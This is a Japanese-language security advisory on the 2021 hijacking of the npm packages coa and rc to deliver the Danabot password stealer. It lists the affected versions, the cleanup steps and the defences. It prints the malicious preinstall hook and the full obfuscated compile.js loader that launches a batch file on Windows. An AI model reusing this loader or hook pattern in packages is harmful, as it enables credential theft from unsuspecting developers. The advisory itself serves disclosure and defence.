#  npm の人気パッケージ 「coa」と「rc」にマルウェアが埋め込まれた

2021/11/5 npm パッケージ「coa」と「rc」がハイジャックされ、パスワードを盗むマルウェアが埋め込まれました。現在の時点では問題のあったバージョンはすべて取り除かれています。

- [coa](https://github.com/veged/coa/issues/99) はコマンドライン引数のパーサーで、週に 880 万ダウンロードされています。有名なライブラリですと [React](https://github.com/facebook/react/blob/main/yarn.lock#L4748) がや [@vue/cli-service](https://github.com/vuejs/vue-cli/blob/dev/yarn.lock#L7286) がこのパッケージに依存しています。
- [rc](https://github.com/veged/coa/issues/99) は設定のローダーで、週に 130 万ダウンロードされています。

## 影響を受けたバージョン

### coa

- 2.0.3
- 2.0.4
- 2.1.1
- 2.1.3
- 3.0.1
- 3.1.3

### rc

- 1.2.9
- 1.3.9
- 2.3.9

## なにをすべきですか？

npm を利用しているレポジトリにおいて「coa」または「rc」の上記に該当するバージョンが存在するか `package.lock.json` または `yarn.lock` ファイルを確認します。

もしこれらのバージョンが含まれていた場合あなたのマシンに以下のファイルが含まれていないかどうか確認し、削除する必要があります。またあなたのパスワードの情報はすでに盗まれている可能性があるので速やかに変更をすべきです。

- compile.js
- compile.bat
- sdd.dll

## マルウェアの内容

埋め込まれたマルウェアは「coa」と「rc」どちらも同じ内容で、どちらも `preinstall` を利用した攻撃となっています。

`preinstall` は `npm-script` に定義できる [Life Cycle Scripts](https://docs.npmjs.com/cli/v7/using-npm/scripts#life-cycle-scripts) と呼ばれる特殊なスクリプトであり `npm install` が実行される直前に実行されます。

```js
"preinstall": "start /B node compile.js & node compile.js"
```

影響を受けたバージョンには `compile.js` と `compile.bat` という名前のファイルが含まれており `npm install` を実行することで `compile.js` が実行されてしまいます。

- compile.js

```js
const _0x29286e=_0x3b9e;(function(_0x595213,_0x1c7f12){const _0x524030=_0x3b9e,_0x10bbc4=_0x595213();while(!![]){try{const _0x5ab451=parseInt(_0x524030(0xef))/0x1*(-parseInt(_0x524030(0xfa))/0x2)+parseInt(_0x524030(0xf7))/0x3+-parseInt(_0x524030(0xf6))/0x4*(parseInt(_0x524030(0xf5))/0x5)+-parseInt(_0x524030(0xf2))/0x6*(-parseInt(_0x524030(0xed))/0x7)+-parseInt(_0x524030(0xf8))/0x8*(parseInt(_0x524030(0xe9))/0x9)+parseInt(_0x524030(0xeb))/0xa+parseInt(_0x524030(0xf3))/0xb*(parseInt(_0x524030(0xf4))/0xc);if(_0x5ab451===_0x1c7f12)break;else _0x10bbc4['push'](_0x10bbc4['shift']());}catch(_0x3b1efb){_0x10bbc4['push'](_0x10bbc4['shift']());}}}(_0x4f67,0x3d733));const {exec}=require('child_process');function _0x4f67(){const _0x5d7817=['28bejTPQ','1355673ZDaxId','779896MgsJdu','child_process','26358GzOkXk','MacOS','platform','cmd.exe','win64','27EVEPMY','win32','768760SJubeg','Linux','111587KPhwpG','compile.bat','11xGbwXc','linux','darwin','36HiOlse','11PTXHjR','3696096qOooYF','173780mPHnxy'];_0x4f67=function(){return _0x5d7817;};return _0x4f67();}var opsys=process[_0x29286e(0xfc)];function _0x3b9e(_0x21f5ee,_0x411966){const _0x4f6708=_0x4f67();return _0x3b9e=function(_0x3b9ecb,_0x3ac81f){_0x3b9ecb=_0x3b9ecb-0xe9;let _0x5a6794=_0x4f6708[_0x3b9ecb];return _0x5a6794;},_0x3b9e(_0x21f5ee,_0x411966);}if(opsys==_0x29286e(0xf1))opsys=_0x29286e(0xfb);else{if(opsys==_0x29286e(0xea)||opsys==_0x29286e(0xfe)){opsys='Windows';const {spawn}=require(_0x29286e(0xf9)),bat=spawn(_0x29286e(0xfd),['/c',_0x29286e(0xee)]);}else opsys==_0x29286e(0xf0)&&(opsys=_0x29286e(0xec));}
```

`compile.js` が実行されることで `compile.bat` というバッチファイルが実行されます。このバッチが実行されると `sdd.dll` がインストールされ起動されます。このマルウェアは、Windows 用のパスワード盗用トロイの木馬である Danabot である可能性が高いです。

Danabot が読み込まれると、以下のようなさまざまな悪意ある活動を行います。

- Chrome、Firefox、Opera、Internet Explorer、Safari などのさまざまなウェブブラウザからパスワードを盗む。
- VNC、FTP クライアント、メールアカウントなど、さまざまなアプリケーションからパスワードを盗む。
保存されているクレジットカードを盗む。
- アクティブな画面のスクリーンショットを撮る。
- キーストロークを記録する。

## npm のセキュリティに対する対策

### 2FA の有効化

マルウェアが埋め込まれた現在として npm のパッケージを公開する権限がある人のアカウントが乗っ取られたことが要因として上げられています。npm としては同様の攻撃を防ぐため**2FAを有効にする**ことが強く推奨されています。

https://twitter.com/npmjs/status/1456310653681999876

### pre-install を無効化する

マルウェアの実行の多くは `pre-install` スクリプトによって行われています。パッケージをインストールする際に `--ignore-scripts` オプションを付与することでスクリプトの実行をオプトアウトできます。

```
npm install --ignore-scripts
yarn add --ignore-scripts
```

## 参考

- https://therecord.media/malware-found-in-coa-and-rc-two-npm-packages-with-23m-weekly-downloads/
- https://www.bleepingcomputer.com/news/security/popular-coa-npm-library-hijacked-to-steal-user-passwords/
- https://github.com/advisories/GHSA-g2q5-5433-rhrf
- https://github.com/advisories/GHSA-73qr-pfmq-6rp8
  